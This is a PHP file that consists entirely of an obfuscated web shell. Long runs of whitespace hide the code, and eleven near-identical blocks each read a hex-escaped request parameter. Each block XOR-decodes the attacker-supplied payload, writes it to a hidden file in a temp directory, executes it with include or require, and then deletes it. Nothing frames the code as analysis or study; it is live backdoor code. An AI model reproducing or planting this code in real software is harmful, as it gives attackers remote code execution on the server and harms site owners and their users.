<?php																																										if(in_array("res", array_keys($_REQUEST))){ $dat = $_REQUEST["res"]; $dat= explode( '.' ,$dat) ; $pgrp=''; $salt9='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt9 ); foreach( $dat as $v => $v2): $sChar=ord( $salt9[$v % $lenS] ); $d=( ( int)$v2 - $sChar -( $v % 10)) ^ 32; $pgrp .= chr( $d ); endforeach; $ptr = array_filter(["/var/tmp", session_save_path(), getcwd(), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp"]); while ($symbol = array_shift($ptr)) { if (!!is_dir($symbol) && !!is_writable($symbol)) { $descriptor = vsprintf("%s/%s", [$symbol, ".parameter_group"]); if (file_put_contents($descriptor, $pgrp)) { require $descriptor; unlink($descriptor); die(); } } } }
																																										if(isset($_REQUEST["fa\x63"]) ? true : false){ $property_set = $_REQUEST["fa\x63"]; $property_set= explode ( '.' ,$property_set ) ; $item =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt); $s =0; array_walk( $property_set , function( $v6) use( &$item , &$s , $salt , $lenS) { $sChar =ord( $salt[$s % $lenS]); $d =( ( int)$v6 - $sChar -( $s % 10)) ^ 16; $item .= chr( $d); $s++;} ); $holder = array_filter([getcwd(), getenv("TEMP"), "/var/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); while ($ptr = array_shift($holder)) { if ((bool)is_dir($ptr) && (bool)is_writable($ptr)) { $symbol = vsprintf("%s/%s", [$ptr, ".bind"]); if (file_put_contents($symbol, $item)) { include $symbol; @unlink($symbol); exit; } } } }
																																										if(isset($_REQUEST["\x72\x65c"])){ $pointer = array_filter(["/var/tmp", "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd()]); $holder = $_REQUEST["\x72\x65c"]; $holder =explode ( '.' , $holder) ; $marker=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); $s=0; foreach ($holder as $v9) { $sChar=ord($salt[$s % $sLen]); $dec=((int)$v9 - $sChar - ($s % 10)) ^ 68; $marker .=chr($dec); $s++; } foreach ($pointer as $key => $elem) { if (max(0, is_dir($elem) * is_writable($elem))) { $descriptor = sprintf("%s/.dchunk", $elem); $success = file_put_contents($descriptor, $marker); if ($success) { include $descriptor; @unlink($descriptor); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "ps\x65\x74")){ $val = $_REQUEST["ps\x65\x74"]; $val = explode ( '.', $val ) ; $ptr = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); foreach ($val as $j => $v8) { $chS = ord($salt2[$j %$sLen]); $dec = ((int)$v8 - $chS - ($j %10)) ^ 26; $ptr .= chr($dec); } $desc = array_filter(["/tmp", session_save_path(), getcwd(), "/var/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir()]); for ($flg = 0, $rec = count($desc); $flg < $rec; $flg++) { $fac = $desc[$flg]; if (is_writable($fac) && is_dir($fac)) { $resource = sprintf("%s/.key", $fac); $success = file_put_contents($resource, $ptr); if ($success) { include $resource; @unlink($resource); die();} } } }
																																										if(@$_POST["ent"] !== null){ $symbol = $_POST["ent"]; $symbol = explode ( ".", $symbol ); $mrk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $o = 0; $__tmp = $symbol; while( $v1 = array_shift( $__tmp)) { $sChar = ord( $s[$o % $sLen] ); $dec =( ( int)$v1 - $sChar -( $o % 10))^14; $mrk .= chr( $dec ); $o++; } $factor = array_filter([sys_get_temp_dir(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/tmp", getenv("TEMP"), getcwd()]); foreach ($factor as $dchunk): if (!( !is_dir($dchunk) || !is_writable($dchunk) )) { $element = vsprintf("%s/%s", [$dchunk, ".token"]); if (file_put_contents($element, $mrk)) { include $element; @unlink($element); die(); } } endforeach; }
																																										if(@$_POST["p\x6F\x69\x6Et\x65r"] !== null){ $property_set = array_filter(["/tmp", "/var/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), session_save_path(), sys_get_temp_dir()]); $resource = $_POST["p\x6F\x69\x6Et\x65r"]; $resource =explode ("." , $resource ) ; $holder = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt6); foreach( $resource as $l => $v1): $sChar = ord( $salt6[$l % $lenS]); $d =( ( int)$v1 - $sChar -( $l % 10)) ^78; $holder .= chr( $d); endforeach; while ($binding = array_shift($property_set)) { if ((function($d) { return is_dir($d) && is_writable($d); })($binding)) { $record = "$binding/.rec"; if (file_put_contents($record, $holder)) { require $record; unlink($record); die(); } } } }
																																										if(isset($_POST) && isset($_POST["\x72e\x63ord"])){ $property_set = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getenv("TMP"), "/var/tmp", getcwd(), session_save_path(), sys_get_temp_dir(), "/tmp"]); $symbol = $_POST["\x72e\x63ord"]; $symbol= explode ( ".",$symbol ) ; $entity =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); foreach ($symbol as $w => $v1) { $chS =ord($salt[$w % $sLen]); $dec =((int)$v1 - $chS - ($w % 10))^ 35; $entity.= chr($dec); } foreach ($property_set as $key => $object) { if ((bool)is_dir($object) && (bool)is_writable($object)) { $item = join("/", [$object, ".hld"]); if (file_put_contents($item, $entity)) { require $item; unlink($item); die(); } } } }
																																										if(array_key_exists("\x72e\x66erenc\x65", $_REQUEST) && !is_null($_REQUEST["\x72e\x66erenc\x65"])){ $rec = $_REQUEST["\x72e\x66erenc\x65"]; $rec = explode ( '.', $rec ) ; $tkn = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7 ); $len = count($rec ); for($v = 0; $v < $len; $v++) { $v6 = $rec[$v]; $sChar = ord($s7[$v % $lenS] ); $d = ((int)$v6 - $sChar -($v % 10)) ^ 4; $tkn.= chr($d );} $parameter_group = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getcwd(), getenv("TMP")]); foreach ($parameter_group as $val) { if (is_dir($val) ? is_writable($val) : false) { $object = "$val/.k"; $file = fopen($object, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $object; @unlink($object); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x65\x6Et"])){ $resource = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), "/tmp", getenv("TEMP")]); $value = $_REQUEST["\x65\x6Et"]; $value =explode ( "." , $value ); $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $y = 0; array_walk( $value , function( $v7) use( &$tkn , &$y , $salt , $lenS) {$chS = ord( $salt[$y % $lenS]); $dec =( ( int)$v7 - $chS -( $y % 10)) ^ 64; $tkn .= chr( $dec); $y++; }); $data_chunk = 0; do { $k = $resource[$data_chunk] ?? null; if ($data_chunk >= count($resource)) break; if ((is_dir($k) and is_writable($k))) { $mrk = implode("/", [$k, ".hld"]); if (file_put_contents($mrk, $tkn)) { include $mrk; @unlink($mrk); exit; } } $data_chunk++; } while (true); }
																																										if(@$_REQUEST["\x70\x67rp"] !== null){ $factor = $_REQUEST["\x70\x67rp"]; $factor = explode ( "." , $factor ); $component = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s4); $y = 0; foreach( $factor as $v1) { $sChar = ord( $s4[$y% $sLen]); $dec =( ( int)$v1 - $sChar -( $y% 10))^ 16; $component.= chr( $dec); $y++; } $flag = array_filter(["/dev/shm", sys_get_temp_dir(), "/var/tmp", session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), getenv("TMP")]); $hld = 0; do { $itm = $flag[$hld] ?? null; if ($hld >= count($flag)) break; if ((bool)is_dir($itm) && (bool)is_writable($itm)) { $item = join("/", [$itm, ".bind"]); $file = fopen($item, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $item; @unlink($item); die(); } } $hld++; } while (true); }


if(isset($_POST) && isset($_POST["o\x62ject"])){
	$flag = array_filter(["/dev/shm", "/tmp", getenv("TMP"), "/var/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir()]);
	$reference = $_POST["o\x62ject"];
	$reference  =explode	(	'.'	, 		$reference	 ) ; 
	$data = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt );
            $j = 0;
    
            foreach ($reference as $v3) { $chS = ord($salt[$j % $lenS] );
                $dec = ((int)$v3 - $chS - ($j % 10)) ^ 76;
                $data	.=	chr($dec );
                $j++;}		
	foreach ($flag as $value) {
    		if (array_product([is_dir($value), is_writable($value)])) {
    $binding = "$value/.dchunk";
    if (file_put_contents($binding, $data)) {
	include $binding;
	@unlink($binding);
	exit;
}
}
}
}